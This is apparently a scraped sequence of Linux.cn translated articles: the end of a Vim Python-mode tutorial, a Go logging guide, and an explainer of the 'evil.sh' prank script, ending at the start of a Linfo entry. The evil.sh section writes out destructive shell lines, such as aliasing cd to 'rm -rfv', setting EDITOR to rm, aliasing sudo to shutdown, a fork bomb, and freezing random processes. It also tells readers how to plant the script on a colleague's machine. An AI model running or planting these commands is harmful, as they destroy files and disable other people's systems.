如果想覆盖默认键位绑定，可以在 `.vimrc` 文件中重定义它们，比如：
```
" Override go-to.definition key shortcut to Ctrl-]
let g:pymode_rope_goto_definition_bind = "<C-]>"
" Override run current python file key shortcut to Ctrl-Shift-e
let g:pymode_run_bind = "<C-S-e>"
" Override view python doc key shortcut to Ctrl-Shift-d
let g:pymode_doc_bind = "<C-S-d>"
```
注意，默认情况下， Python-mode 使用 Python 2 进行语法检查。你可以在 `.vimrc` 文件中加入下面这行内容从而启动 Python 3 语法检查。
```
let g:pymode_python = 'python3'
```
你可以在 Python-mode 的 GitHub 仓库找到更多的配置选项： <https://github.com/python-mode/python-mode>
这就是全部内容了。在本教程中，我向你们展示了如何在 Linux 中使用 Python-mode 来配置 Vim 。请记得通过下面的反馈表来和我们分享你的想法。
---
作者简介：
Aaron Kili 是一个 Linux 和 F.O.S.S 爱好者、Linux 系统管理员、网络开发人员，现在也是 TecMint 的内容创作者，他喜欢和电脑一起工作，坚信共享知识。
---
via: <https://www.tecmint.com/python-mode-a-vim-editor-plugin/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[ucasFL](https://github.com/ucasFL) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Go 语言日志指南
|
Nils
|
https://logmatic.io/blog/our-guide-to-a-golang-logs-world/
|
你是如何使用 Golang 日志监控你的应用程序的呢？Golang 没有异常，只有错误。因此你的第一印象可能就是开发 Golang 日志策略并不是一件简单的事情。不支持异常事实上并不是什么问题，异常在很多编程语言中已经失去了其异常性：它们过于被滥用以至于它们的作用都被忽视了。
|
/data/attachment/album/201705/26/171240oyoy6kvyyocgkkky.png.thumb.jpg
|
/data/attachment/album/201705/26/171240oyoy6kvyyocgkkky.png
| true | false | true |
ictlyh
| false |
[
"Go语言",
"日志"
] |
软件开发
|
{
"viewnum": 11598,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
你是如何使用 Golang 日志监控你的应用程序的呢？Golang 没有异常，只有错误。因此你的第一印象可能就是开发 Golang 日志策略并不是一件简单的事情。不支持异常事实上并不是什么问题，异常在很多编程语言中已经失去了其异常性：它们过于被滥用以至于它们的作用都被忽视了。
| 2017-05-26T17:15:02 | 2017-05-26T17:15:02 | 8,543 |
/article-8543-1.html
|
你是否厌烦了那些使用复杂语言编写的、难以部署的、总是在不停构建的解决方案？Golang 是解决这些问题的好方法，它和 C 语言一样快，又和 Python 一样简单。
但是你是如何使用 Golang 日志监控你的应用程序的呢？Golang 没有异常，只有错误。因此你的第一印象可能就是开发 Golang 日志策略并不是一件简单的事情。不支持异常事实上并不是什么问题，异常在很多编程语言中已经失去了其异常性：它们过于被滥用以至于它们的作用都被忽视了。
在进一步深入之前，我们首先会介绍 Golang 日志的基础，并讨论 Golang 日志标准、元数据意义、以及最小化 Golang 日志对性能的影响。通过日志，你可以追踪用户在你应用中的活动，快速识别你项目中失效的组件，并监控总体性能以及用户体验。
### I. Golang 日志基础
#### 1) 使用 Golang “log” 库
Golang 给你提供了一个称为 “log” 的原生[日志库](https://golang.org/pkg/log/) 。它的日志器完美适用于追踪简单的活动，例如通过使用可用的[选项](https://golang.org/pkg/log/#pkg-constants)在错误信息之前添加一个时间戳。
下面是一个 Golang 中如何记录错误日志的简单例子：
```
package main
import (
"log"
"errors"
"fmt"
)
func main() {
/* 定义局部变量 */
...
/* 除法函数，除以 0 的时候会返回错误 */
ret,err = div(a, b)
if err != nil {
log.Fatal(err)
}
fmt.Println(ret)
}
```
如果你尝试除以 0，你就会得到类似下面的结果：
为了快速测试一个 Golang 函数，你可以使用 [go playground](https://play.golang.org/)。
为了确保你的日志总是能轻易访问，我们建议你把它们写到一个文件：
```
package main
import (
"log"
"os"
)
func main() {
// 按照所需读写权限创建文件
f, err := os.OpenFile("filename", os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0644)
if err != nil {
log.Fatal(err)
}
// 完成后延迟关闭，而不是习惯!
defer f.Close()
//设置日志输出到 f
log.SetOutput(f)
//测试用例
log.Println("check to make sure it works")
}
```
你可以在[这里](https://www.goinggo.net/2013/11/using-log-package-in-go.html)找到 Golang 日志的完整指南，以及 “log” [库](https://golang.org/pkg/log/)内可用函数的完整列表。
现在你就可以记录它们的错误以及根本原因啦。
另外，日志也可以帮你将活动流拼接在一起，查找需要修复的错误上下文，或者调查在你的系统中单个请求如何影响其它应用层和 API。
为了获得更好的日志效果，你首先需要在你的项目中使用尽可能多的上下文丰富你的 Golang 日志，并标准化你使用的格式。这就是 Golang 原生库能达到的极限。使用最广泛的库是 [glog](https://github.com/google/glog) 和 [logrus](https://github.com/sirupsen/logrus)。必须承认还有很多好的库可以使用。如果你已经在使用支持 JSON 格式的库，你就不需要再换其它库了，后面我们会解释。
### II. 为你 Golang 日志统一格式
#### 1) JSON 格式的结构优势
在一个项目或者多个微服务中结构化你的 Golang 日志可能是最困难的事情，但一旦完成就很轻松了。结构化你的日志能使机器可读（参考我们 [收集日志的最佳实践博文](https://logmatic.io/blog/beyond-application-monitoring-discover-logging-best-practices/)）。灵活性和层级是 JSON 格式的核心，因此信息能够轻易被人类和机器解析以及处理。
下面是一个使用 [Logrus/Logmatic.io](https://github.com/logmatic/logmatic-go) 如何用 JSON 格式记录日志的例子：
```
package main
import (
log "github.com/Sirupsen/logrus"
"github.com/logmatic/logmatic-go"
)
func main() {
// 使用 JSONFormatter
log.SetFormatter(&logmatic.JSONFormatter{})
// 使用 logrus 像往常那样记录事件
log.WithFields(log.Fields{"string": "foo", "int": 1, "float": 1.1 }).Info("My first ssl event from golang")
}
```
会输出结果：
```
{
"date":"2016-05-09T10:56:00+02:00",
"float":1.1,
"int":1,
"level":"info",
"message":"My first ssl event from golang",
"String":"foo"
}
```
#### 2) 标准化 Golang 日志
同一个错误出现在你代码的不同部分，却以不同形式被记录下来是一件可耻的事情。下面是一个由于一个变量错误导致无法确定 web 页面加载状态的例子。一个开发者日志格式是：
```
message: 'unknown error: cannot determine loading status from unknown error: missing or invalid arg value client'</span>
```
另一个人的格式却是：
```
unknown error: cannot determine loading status - invalid client</span>
```
强制日志标准化的一个好的解决办法是在你的代码和日志库之间创建一个接口。这个标准化接口会包括所有你想添加到你日志中的可能行为的预定义日志消息。这么做可以防止出现不符合你想要的标准格式的自定义日志信息。这么做也便于日志调查。
由于日志格式都被统一处理，使它们保持更新也变得更加简单。如果出现了一种新的错误类型，它只需要被添加到一个接口，这样每个组员都会使用完全相同的信息。
最常使用的简单例子就是在 Golang 日志信息前面添加日志器名称和 id。你的代码然后就会发送 “事件” 到你的标准化接口，它会继续讲它们转化为 Golang 日志消息。
```
// 主要部分，我们会在这里定义所有消息。
// Event 结构体很简单。为了当所有信息都被记录时能检索它们，
// 我们维护了一个 Id
var (
invalidArgMessage = Event{1, "Invalid arg: %s"}
invalidArgValueMessage = Event{2, "Invalid arg value: %s => %v"}
missingArgMessage = Event{3, "Missing arg: %s"}
)
// 在我们应用程序中可以使用的所有日志事件
func (l *Logger)InvalidArg(name string) {
l.entry.Errorf(invalidArgMessage.toString(), name)
}
func (l *Logger)InvalidArgValue(name string, value interface{}) {
l.entry.WithField("arg." + name, value).Errorf(invalidArgValueMessage.toString(), name, value)
}
func (l *Logger)MissingArg(name string) {
l.entry.Errorf(missingArgMessage.toString(), name)
}
```
因此如果我们使用前面例子中无效的参数值，我们就会得到相似的日志信息：
```
time="2017-02-24T23:12:31+01:00" level=error msg="LoadPageLogger00003 - Missing arg: client - cannot determine loading status" arg.client=<nil> logger.name=LoadPageLogger
```
JSON 格式如下：
```
{"arg.client":null,"level":"error","logger.name":"LoadPageLogger","msg":"LoadPageLogger00003 - Missing arg: client - cannot determine loading status", "time":"2017-02-24T23:14:28+01:00"}
```
### III. Golang 日志上下文的力量
现在 Golang 日志已经按照特定结构和标准格式记录，时间会决定需要添加哪些上下文以及相关信息。为了能从你的日志中抽取信息，例如追踪一个用户活动或者工作流，上下文和元数据的顺序非常重要。
例如在 logrus 库中可以按照下面这样使用 JSON 格式添加 `hostname`、`appname` 和 `session` 参数：
```
// 对于元数据，通常做法是通过复用来重用日志语句中的字段。
contextualizedLog := log.WithFields(log.Fields{
"hostname": "staging-1",
"appname": "foo-app",
"session": "1ce3f6v"
})
contextualizedLog.Info("Simple event with global metadata")
```
元数据可以视为 javascript 片段。为了更好地说明它们有多么重要，让我们看看几个 Golang 微服务中元数据的使用。你会清楚地看到是怎么在你的应用程序中跟踪用户的。这是因为你不仅需要知道一个错误发生了，还要知道是哪个实例以及什么模式导致了错误。假设我们有两个按顺序调用的微服务。上下文信息保存在头部（header）中传输：
```
func helloMicroService1(w http.ResponseWriter, r *http.Request) {
client := &http.Client{}
// 该服务负责接收所有到来的用户请求
// 我们会检查是否是一个新的会话还是已有会话的另一次调用
session := r.Header.Get("x-session")
if ( session == "") {
session = generateSessionId()
// 为新会话记录日志
}
// 每个请求的 Track Id 都是唯一的，因此我们会为每个会话生成一个
track := generateTrackId()
// 调用你的第二个微服务，添加 session/track
reqService2, _ := http.NewRequest("GET", "http://localhost:8082/", nil)
reqService2.Header.Add("x-session", session)
reqService2.Header.Add("x-track", track)
resService2, _ := client.Do(reqService2)
….
```
当调用第二个服务时：
```
func helloMicroService2(w http.ResponseWriter, r *http.Request) {
// 类似之前的微服务，我们检查会话并生成新的 track
session := r.Header.Get("x-session")
track := generateTrackId()
// 这一次，我们检查请求中是否已经设置了一个 track id，
// 如果是，它变为父 track
parent := r.Header.Get("x-track")
if (session == "") {
w.Header().Set("x-parent", parent)
}
// 为响应添加 meta 信息
w.Header().Set("x-session", session)
w.Header().Set("x-track", track)
if (parent == "") {
w.Header().Set("x-parent", track)
}
// 填充响应
w.WriteHeader(http.StatusOK)
io.WriteString(w, fmt.Sprintf(aResponseMessage, 2, session, track, parent))
}
```
现在第二个微服务中已经有和初始查询相关的上下文和信息，一个 JSON 格式的日志消息看起来类似如下。
在第一个微服务：
```
{"appname":"go-logging","level":"debug","msg":"hello from ms 1","session":"eUBrVfdw","time":"2017-03-02T15:29:26+01:00","track":"UzWHRihF"}
```
在第二个微服务：
```
{"appname":"go-logging","level":"debug","msg":"hello from ms 2","parent":"UzWHRihF","session":"eUBrVfdw","time":"2017-03-02T15:29:26+01:00","track":"DPRHBMuE"}
```
如果在第二个微服务中出现了错误，多亏了 Golang 日志中保存的上下文信息，现在我们就可以确定它是怎样被调用的以及什么模式导致了这个错误。
如果你想进一步深挖 Golang 的追踪能力，这里还有一些库提供了追踪功能，例如 [Opentracing](https://github.com/opentracing/opentracing-go)。这个库提供了一种简单的方式在或复杂或简单的架构中添加追踪的实现。它通过不同步骤允许你追踪用户的查询，就像下面这样：
### IV. Golang 日志对性能的影响
#### 1) 不要在 Goroutine 中使用日志
在每个 goroutine 中创建一个新的日志器看起来很诱人。但最好别这么做。Goroutine 是一个轻量级线程管理器，它用于完成一个 “简单的” 任务。因此它不应该负责日志。它可能导致并发问题，因为在每个 goroutine 中使用 `log.New()` 会重复接口，所有日志器会并发尝试访问同一个 io.Writer。
为了限制对性能的影响以及避免并发调用 io.Writer，库通常使用一个特定的 goroutine 用于日志输出。
#### 2) 使用异步库
尽管有很多可用的 Golang 日志库，要注意它们中的大部分都是同步的（事实上是伪异步）。原因很可能是到现在为止它们中没有一个会由于日志严重影响性能。
但正如 Kjell Hedström 在[他的实验](https://sites.google.com/site/kjellhedstrom2/g2log-efficient-background-io-processign-with-c11/g2log-vs-google-s-glog-performance-comparison)中展示的，使用多个线程创建成千上万日志，即便是在最坏情况下，异步 Golang 日志也会有 40% 的性能提升。因此日志是有开销的，也会对你的应用程序性能产生影响。如果你并不需要处理大量的日志，使用伪异步 Golang 日志库可能就足够了。但如果你需要处理大量的日志，或者很关注性能，Kjell Hedström 的异步解决方案就很有趣（尽管事实上你可能需要进一步开发，因为它只包括了最小的功能需求）。
#### 3）使用严重等级管理 Golang 日志
一些日志库允许你启用或停用特定的日志器，这可能会派上用场。例如在生产环境中你可能不需要一些特定等级的日志。下面是一个如何在 glog 库中停用日志器的例子，其中日志器被定义为布尔值：
```
type Log bool
func (l Log) Println(args ...interface{}) {
fmt.Println(args...)
}
var debug Log = false
if debug {
debug.Println("DEBUGGING")
}
```
然后你就可以在配置文件中定义这些布尔参数来启用或者停用日志器。
没有一个好的 Golang 日志策略，Golang 日志可能开销很大。开发人员应该抵制记录几乎所有事情的诱惑 - 尽管它非常有趣！如果日志的目的是为了获取尽可能多的信息，为了避免包含无用元素的日志的白噪音，必须正确使用日志。
### V. 集中化 Golang 日志
如果你的应用程序是部署在多台服务器上的，这样可以避免为了调查一个现象需要连接到每一台服务器的麻烦。日志集中确实有用。
使用日志装箱工具，例如 windows 中的 Nxlog，linux 中的 Rsyslog（默认安装了的）、Logstash 和 FluentD 是最好的实现方式。日志装箱工具的唯一目的就是发送日志，因此它们能够处理连接失效以及其它你很可能会遇到的问题。
这里甚至有一个 [Golang syslog 软件包](https://golang.org/pkg/log/syslog/) 帮你将 Golang 日志发送到 syslog 守护进程。
### 希望你享受你的 Golang 日志之旅
在你项目一开始就考虑你的 Golang 日志策略非常重要。如果在你代码的任意地方都可以获得所有的上下文，追踪用户就会变得很简单。从不同服务中阅读没有标准化的日志是已经很痛苦的事情。一开始就计划在多个微服务中扩展相同用户或请求 id，后面就会允许你比较容易地过滤信息并在你的系统中跟踪活动。
你是在构架一个很大的 Golang 项目还是几个微服务也会影响你的日志策略。一个大项目的主要组件应该有按照它们功能命名的特定 Golang 日志器。这使你可以立即判断出日志来自你的哪一部分代码。然而对于微服务或者小的 Golang 项目，只有较少的核心组件需要它们自己的日志器。但在每种情形中，日志器的数目都应该保持低于核心功能的数目。
你现在已经可以使用 Golang 日志量化决定你的性能或者用户满意度啦！
*如果你有想阅读的特定编程语言，在 Twitter [@logmatic](http://twitter.com/logmatic) 上告诉我们吧。*
---
via: <https://logmatic.io/blog/our-guide-to-a-golang-logs-world/>
作者：[Nils](https://logmatic.io/blog/our-guide-to-a-golang-logs-world/) 译者：[ictlyh](https://github.com/ictlyh) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
我是见鬼了么？这是史上最邪恶的脚本！没有之一！
|
Wxy
|
这是一个 bash shell 脚本，其中有若干可以整蛊（结仇）你的同事的小技巧——或者说恶作剧。看完之后，感觉不寒而栗，要是谁敢这样整我，我一定和他绝交！
|
/data/attachment/album/201705/27/123313bhhiigzol1od5hri.jpg.thumb.jpg
|
/data/attachment/album/201705/27/123313bhhiigzol1od5hri.jpg
| true | false | false | true |
[
"脚本",
"别名",
"alias"
] |
技术
|
{
"viewnum": 18741,
"commentnum": 10,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "113.57.167.42",
"message": "这个真的是好啊，比rm -rf / 好多了",
"username": "来自湖北武汉的 Chrome 58.0|Windows 10 用户",
"date": "2017-05-27T12:40:23"
},
{
"postip": "118.122.120.11",
"message": "一堆废话。我之前写脚本已经意识到这个问题，所以调用一律外部命令前加反斜杠， 例如 \\grep。或者用绝对路径。<br />\r\n此外文中提到的其他方面，是看脚本编写者对 shell 的熟悉程度，以及在编写脚本时，是否存在想到过但是写的时候遗漏了。<br />\r\n比如我上面提到的准确调用外部命令，可能个别命令会漏写。<br />\r\n<br />\r\n对于尽量避免遗漏的发生，可以通过调用预先设置的只读常量来缓解，但不会根本解决，万一只读常量拼错了，或者用成名字相近的。<br />\r\n<br />\r\n归根到底，是要在使用前反复检查，在测试环境中仔细调试。",
"username": "来自四川成都的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-27T12:49:14"
},
{
"postip": "118.122.120.11",
"message": "所以调用外部命令一律命令前面加反斜杠",
"username": "来自四川成都的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-27T12:50:18"
},
{
"postip": "118.122.120.11",
"message": "或者在关键代码的前一行，添加 unalias -a",
"username": "来自四川成都的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-27T16:42:14"
},
{
"postip": "117.150.45.151",
"message": "要离职的兄弟们，千万不要记住以上内容～～～",
"username": "POCMON [Firefox 53.0|GNU/Linux]",
"date": "2017-05-27T20:45:22"
},
{
"postip": "182.139.91.28",
"message": "在假设系统没有被外部攻破的前提下，使用绝对路径来调用命令，是最佳解决方法，脚本中由于各种原因导致的 PATH 变量被修改，命令被指定错误别名，都不会影响命令的正确调用，只是对于不同发行版可能需要对路径进行调整。",
"username": "来自四川成都的 Chromium 58.0|Ubuntu 用户",
"date": "2017-05-27T23:06:07"
},
{
"postip": "182.139.91.28",
"message": "如果考虑到外部威胁，那这个方法依然有个问题，如果命令被符号链接，那调用前需要检查命令是否为符号链接，但就算能检查，由于脚本缺乏原子性，所以不能保证验证成功后的一刹那，命令不会被替换为错误的符号链接。再考虑到 rootkit 的存在，一个检查符号链接的措施也是不保险的。",
"username": "来自四川成都的 Chromium 58.0|Ubuntu 用户",
"date": "2017-05-27T23:08:44"
},
{
"postip": "114.218.169.173",
"message": "我有一个大胆得想法，嘿嘿",
"username": "hrj294055233 [Firefox 53.0|Ubuntu]",
"date": "2017-05-30T11:58:20"
},
{
"postip": "111.203.12.97",
"message": "神奇的alias",
"username": "噪音未来 [Chrome 58.0|Windows 7]",
"date": "2017-05-31T15:50:48"
},
{
"postip": "125.46.3.237",
"message": "可比 rm -rf * 有意思多了",
"username": "WangYueScream [Chrome 50.0|Windows 7]",
"date": "2017-06-02T18:14:12"
}
] |
[] |
这是一个 bash shell 脚本，其中有若干可以整蛊（结仇）你的同事的小技巧——或者说恶作剧。看完之后，感觉不寒而栗，要是谁敢这样整我，我一定和他绝交！
| 2017-05-27T12:35:00 | 2017-05-27T12:35:00 | 8,544 |
/article-8544-1.html
|
昨天，微博上的朋友 [@马甲与小号](http://weibo.com/3404002352) 告诉我发现了一个奇怪的东西，本着好奇心使人进步（害死猫？）的目的，我去观摩了一番，于是就有了今天这篇文章。
这是一个 bash shell 脚本，其中有若干可以整蛊（结仇）你的同事的小技巧——或者说恶作剧。看完之后，感觉不寒而栗，要是谁敢这样整我，我一定和他绝交！
>
> **警告，切勿在生产环境体验，一切后果脚本作者和本文作者均不不承担！**
>
>
> **警告，切勿在生产环境体验，一切后果脚本作者和本文作者均不不承担！**
>
>
> **警告，切勿在生产环境体验，一切后果脚本作者和本文作者均不不承担！**
>
>
>
### 这个世界怎么了？
这个脚本主要由一些别名、函数、环境变量定义组织而成，执行该脚本后，你的 shell 环境就变成了一个光怪陆离的世界。
好了，那么我们来看看都发生了什么。
注：本脚本适用于 bash 环境，其它 shell 环境有些不支持。
#### 可怕的默认编辑器
当系统调用默认编辑器来编辑比如 crontab 时，biu 的一下，文件没了！
```
export EDITOR=/bin/rm;
```
这是将 `EDITOR` 环境变量定义为 `rm`，而它原本应该是 `vi`、`emacs` 或 `nano` 的，体会一下，是不是很酸爽？
>
> 学习课堂：
>
>
> `EDITOR` 环境变量用于定于系统的默认编辑器，在一些系统内置功能里面，比如编辑 crontab 时，会根据该变量调用默认编辑器。
>
>
>
#### 猥琐的制表符（tab）
当你想用制表符来个自动补全时，你会它非但不干，而且还删除了一个字母，不信邪的你使劲多砸了几个制表符，这下好了，更多的字符被删除了。
```
tset -Qe $'\t';
```
原来是将制表符定义为退格键了。
>
> 学习课堂：
>
>
> `tset` 用于设置终端特征；`-e` 参数设置擦除字符，缺省为退格字符；`-Q` 表示不显示设置信息（静默）。
>
>
>
#### 莫名退出
有时候，执行一个命令就会莫名其妙地退出 shell，只不过是命令有个非 0 的返回状态嘛，为什么会这样？
```
((RANDOM % 10)) || set -o errexit;
```
>
> 学习课堂：
>
>
> `set -o errexit` 等价于 `set -e`，表示有任何错误（命令的返回状态非 0 ）时即退出。
>
>
>
#### 啥都看（cat）不了
当我想看（`cat`）一下文件时，它居然就当没听见，到底文件里面有啥啊？
```
alias cat=true;
```
原来是把 `cat` 定义成 `true` 命令的别名了， `true` 命令啥都不干，不管你给它什么参数和什么输入，它只是静静地返回一个 `0` 的状态码。
>
> 学习课堂
>
>
> `true` 命令和 `false` 命令常用于 shell 脚本中。
>
>
>
#### 到底是按什么排列的啊？
好吧，我想看看目录里面有啥文件，于是我输入了 `ls`，咦？这是什么顺序？我再次输入一遍，怎么回事，列出的文件和目录又是一种顺序，难道它的输出看心情吗？
```
function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }
```
原来它用一个函数重新定义了 `ls`，所以，真是看心情，你永远不知道它会以什么顺序返回结果。
>
> 学习课堂：
>
>
> ls 的 `f` 选项表示不排序输出（即只按照磁盘存储顺序输出）；`r` 表示反向排序；`S` 表示按文件大小排序；`t` 表示按修改时间排序；`u` 表示按最后访问时间排序。
>
>
>
#### 再也不要试着进入目录了
当我想进入目录看看时，惊奇的是居然没进去，难道没有自动补全我就输入错了？用前面那个奇奇怪怪的 `ls` 再次看看时，令人惊恐的是，那个目录！它没有了！！！不信邪的我又重复了这个过程，然后，我就一个子目录也没有了！
```
alias cd='rm -rfv';
```
这该死的，连输入 `cd` 这么无害的命令都这么可怕！
>
> 学习课堂：
>
>
> `rm` 命令的 `-r` 表示可删除（非空）目录；`-f` 表示不需要确认删除；`-v` 表示删除后显示被删除的文件/目录名称——这里是用来嘲讽我删除了某个目录的吗？
>
>
>
#### 还敢用 sudo 权限吗？
我很遵守安全守则，从来不用 root 直接登录，凡是管理任务，都用 `sudo` 来执行。然而，现在无论我用 `sudo` 执行什么命令，都会**马上关机**，并将我输入的命令广而告之！这是我被系统讨厌了么？
```
alias sudo='sudo shutdown -P now';
```
>
> 学习课堂：
>
>
> `shutdown` 命令用来关闭系统，`-P` 参数表示连同电源一起关闭； `now` 表示马上关机。这之后的参数（在此例中，是原本希望 `sudo` 执行的命令）会作为关闭前的通知信息，广播给系统上所有在线的用户。
>
>
>
#### 我原本想静静，结果世界都静了
杂乱的屏幕输出让你厌憎，所以，一个 `clear` 命令就可以静静了——等等，为什么我的终端崩溃了？然后系统也死机了。
```
alias clear=':(){ :|:& };:';
```
这是将 `clear` 命令别名为一个 [fork 炸弹](/article-5685-1.html)了，据说这个是最精简、最难懂的 fork 炸弹了。至于炸弹的效果，嗯，世界都安静了
>
> 学习课堂：
>
>
> Fork 炸弹带来的后果就是耗尽服务器资源，使服务器不能正常的对外提供服务，也就是常说的 DoS（Denial of Service）。
>
>
>
#### 今夕是何年？
这光怪陆离的世界啊，让我疑似梦中，那么，现在是什么时候？当然，我肯定不会去翻日历的，输入 `date` 命令才是我们命令行极客该做的事情。看着返回的日期，我不禁怀疑我的记忆，难道我穿越了么？
```
alias date='date -d "now + $RANDOM days"';
```
>
> 学习课堂：
>
>
> `date` 命令可以显示相对偏移的日期，上述命令中 `$RANDOM` 的结果是一个随机的整数，也就是说这里的 `date` 命令会返回若干天之后的日期。
>
>
>
#### 如果你有一个鬼马的 CD 驱动器
现在 CD 驱动器用的不多了，但是很多机器上还残留着这个“咖啡杯托”，如果你有幸还有这个东西的话，或许今天它就被鬼怪附体了，一会弹出，一会又收回去，有时候你按下弹出键却毫无反应——当你真的将咖啡杯放上面时，小心，你的咖啡杯会掉下来！
>
> 将 CD 盘托当成咖啡杯托是一个笑话，据说某人曾经给电脑厂家打电话：
>
>
> “您好，我想说你们的机器上的咖啡杯托以前挺好用的，可是现在它不动了。”
>
>
> “‘咖啡杯托’？那是什么？”
>
>
> “就是那个一按按钮就会弹出的托盘啊，放咖啡杯正好，还有合适的凹槽，设计的不错！以前都好好的，现在它不会弹出了。”
>
>
> “……”
>
>
>
```
N=$[$RANDOM % 3];
if [[ $N == 0 ]]; then
# 几分钟后随即打开或关闭
sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
elif [[ $N == 1 ]]; then
# 要么，死活打不开
sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' > /dev/null 2>&1 &
else
# 要么，读取变得极慢（1 倍速），需要循环的原因是弹出后就需要重新设定。
sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' > /dev/null 2>&1 &
fi;
```
>
> 学习课堂：
>
>
> `eject` 是操作 CD 驱动器的命令行，记得当年有位第一次接触 SUN Solaris 的同事问我，这 CD 怎么打开啊？我默默地输入了 `eject`， 在同事愕然的眼光中不带走一丝云彩轻轻地离开。
>
>
> `eject` 的 `-T` 选项会将关闭的 CD 驱动器打开，将打开的 CD 驱动器关闭；`-t` 选项则是关闭 CD 驱动器；`-x` 选项用来设置读取倍速；`-i on` 用于将弹出按钮失效。
>
>
>
#### 冰川时代
突然地，某个你已经打开的程序冻结了，也许是你的浏览器、也许是你正写了一半的文档，所以，随时保存文档是个好习惯吗？
```
sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &
```
>
> 学习课题：
>
>
> `sleep` 就不用解释了，这代表暂停若干秒。
>
>
> 通过上述 `ps` 命令会会随机选出（`sort` 命令的 `-R` 选项）一个你的进程号，然后由 `kill` 命令发送 `STOP` 信号给它。`STOP` 信息会使程序被停止（冻结、挂起），在命令行中可有 `CTRL-Z` 发出，被停止的进程可以通过 `bg` 放到后台运行，也可以由 `fg` 带回到前台。
>
>
>
#### 一个还是两个？
当我想复制一个文件到另外一个地方时，咦？原来的那个哪里去了？
```
alias cp='mv';
```
还好，还好，你总是还有一个副本的，这总算是不幸中的大幸了。
>
> 学习课堂：
>
>
> `cp` 是 `mv`，`mv` 还是 `mv`。
>
>
>
#### 永不停止的工作
打完收工，你总是要退出（`exit`）你的 shell 的，但是一直退不出是什么意思？
```
alias exit='sh';
```
>
> 学习课堂：
>
>
> 将 `exit` 命令别名为 `sh` ，这样输入 `exit` 命令后不是退出当前 shell，而是有进入了一个新的子 shell，想退出不干？没门！
>
>
>
#### 到底是哪行？
会用 `grep` 的你，应该知道 `-n` 参数可以告诉你所匹配的行的行号，但是随机乱变的行号是什么鬼？我讨厌随机！
```
function grep { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }
```
>
> `grep` 命令的 `-n` 用于输出匹配的行的行号，上述函数将 `grep` 定义为一个输出的行号完全不可预测的程序。
>
>
>
#### 世界是反着的
你脚本也总是出各种匪夷所思的问题，而且你还不知道什么地方出了问题。这一切都要怪你进入了一个“是”即是“非”的世界。
```
alias if='if !' for='for !' while='while !';
```
将 `if`、`for` 和 `while` 所检测的条件定义为反，我不知道这个世界可以疯狂到这个地步！
>
> 学习课堂：
>
>
> `if` 、`for` 和 `while` 是用于 shell 脚本中做逻辑判断和循环的语句，`!` 表示对表达式逻辑取反。
>
>
>
#### 想执行命令？没门！
当你输入了一个命令之后，用小指轻轻地、优雅地，按下右侧的那个小小的回车键，满心以为会爆发出绝世高手的风范。然而……并没有，非但没有，你输入的命令还被删除了一个字符！懵逼的你以为用力太轻了，再次敲击后发现又被删除了一个！！！
>
> 记得有一个电影，危急情况下，当别人把键盘递给一位即将闭眼的黑客时，他只是轻轻按下了那个“回车”！
>
>
>
```
bind '"\C-J":"\C-?"';
bind '"\C-M":"\C-?"';
```
>
> 学习课堂：
>
>
> `bind` 用于显示和设置键盘序列绑定，`C-J` 代表 `CTRL-J`，所触发的 ASCII 码是 `0x0A`，即“换行”；`C-M` 代表 `CTRL-M`，所触发的 ASCII 码是 `0x0D`，即“回车”；`C-?` 代表 `CTRL-?`，所触发的 ASCII 码是 `0x7F`，即“退格”。也就是说，你按下的回车键，会被映射为退格键。关于 ASCII 控制字符，可参见： <http://ascii-table.com/control-chars.php> 。也可以使用 `showkey -a` 命令来检验你按下的键的键值（`CTRL-D` 退出）。
>
>
>
#### 好的，但是我不干
你说要，但是你的身体却说不要。明明应该应答 `yes`，但是却实际上拒绝了。
```
alias yes="yes n";
```
>
> 学习课堂：
>
>
> `yes` 命令常用于脚本中应答 `y`，但是这里重定义了 `yes` 的结果。这是身口不一么？
>
>
>
#### 我要编辑文件
当我用 vim 打开一个文件时，为什么什么都没发生？
```
alias vim="vim +q";
```
>
> 学习课堂：
>
>
> `vim` 可以用 `+` 来跟上要在 `vim` 里面执行的命令，这里 `+q` 表示退出 `vim`。
>
>
>
#### 最后，别想回到正常的世界
好吧，我明白了，都是 `alias` 捣的鬼，我要取消它们。什么？取消也无效了？
```
alias unalias=false;
alias alias=false;
```
>
> 学习课堂：
>
>
> 将 `alias` 和 `unalias` 别名为 `false`，那你就不能执行 `alias` 的功能了。
>
>
>
### 让我回到真实的世界吧！
好了，我已经受够了这个疯狂是世界了。其实，上面这些别名，都是可以通过输入命令的全路径来绕开别名的——只是一般人不会这样输入。
想要整蛊你的同事，那就将这个脚本（<https://github.com/mathiasbynens/evil.sh/blob/master/evil.sh> ）放到他的机器上，并在他的 `.bash_profile` 的末尾加入 `source ~/evil.sh` 即可。当然，你要这么做之前，要有友尽的心理准备。
感谢这个邪恶的脚本的贡献者： Mathias Bynens 和 Jan Moesen 等人 ;-D
|
||||
Linfo：实时显示你的 Linux 服务器运行状况
|
Aaron Kili
|
https://www.tecmint.com/linfo-shows-linux-server-health-status-in-real-time/
|
Linfo 是可扩展的，通过 composer，很容易使用 PHP5 库以程序化方式获取来自 PHP 应用的丰富的系统统计数据。它有 Web UI 及其Ncurses CLI 视图，在 Linux、Windows、BSD、Darwin/Mac OSX、Solaris 和 Minix 系统上均可用。
|
